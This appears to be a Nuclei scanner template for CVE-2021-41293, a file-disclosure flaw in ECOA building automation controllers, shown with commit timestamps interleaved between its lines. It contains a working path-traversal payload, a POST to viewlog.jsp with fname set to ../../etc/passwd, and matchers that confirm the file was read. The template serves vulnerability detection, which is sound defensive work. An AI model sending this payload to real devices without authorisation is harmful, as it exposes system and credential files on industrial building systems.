2021-10-14 14:35:25 +00:00
id : CVE-2021-41293
2021-09-16 17:44:04 +00:00
info :
2022-05-13 20:26:43 +00:00
name : ECOA Building Automation System - Arbitrary File Retrieval
2021-09-16 17:44:04 +00:00
author : 0x_Akoko
2021-09-14 22:02:57 +00:00
severity : high
2022-04-22 10:38:41 +00:00
description : The ECOA BAS controller suffers from an arbitrary file disclosure vulnerability. Using the 'fname' POST parameter in viewlog.jsp, attackers can disclose arbitrary files on the affected device and disclose
sensitive and system information.
2021-10-14 13:30:44 +00:00
reference :
2022-03-07 15:36:19 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-41293
2021-10-14 13:30:44 +00:00
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5679.php
- https://www.twcert.org.tw/tw/cp-132-5129-7e623-1.html
2021-10-14 14:37:07 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 7.5
2021-10-14 14:37:07 +00:00
cve-id : CVE-2021-41293
cwe-id : CWE-22
2022-04-22 10:38:41 +00:00
tags : cve,cve2021,ecoa,lfi,disclosure
2021-09-14 22:02:57 +00:00
requests :
- raw :
- |
POST /viewlog.jsp HTTP/1.1
Host : {{Hostname}}
2021-09-14 22:24:11 +00:00
yr=2021&mh=6&fname=../../../../../../../../etc/passwd
2021-09-17 11:09:09 +00:00
matchers-condition : and
2021-09-14 22:24:11 +00:00
matchers :
2021-09-17 11:09:09 +00:00
2021-09-14 22:02:57 +00:00
- type : regex
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2021-09-17 11:09:09 +00:00
- type : status
status :
- 200
2022-03-07 15:36:19 +00:00
# Enhanced by mp on 2022/03/07
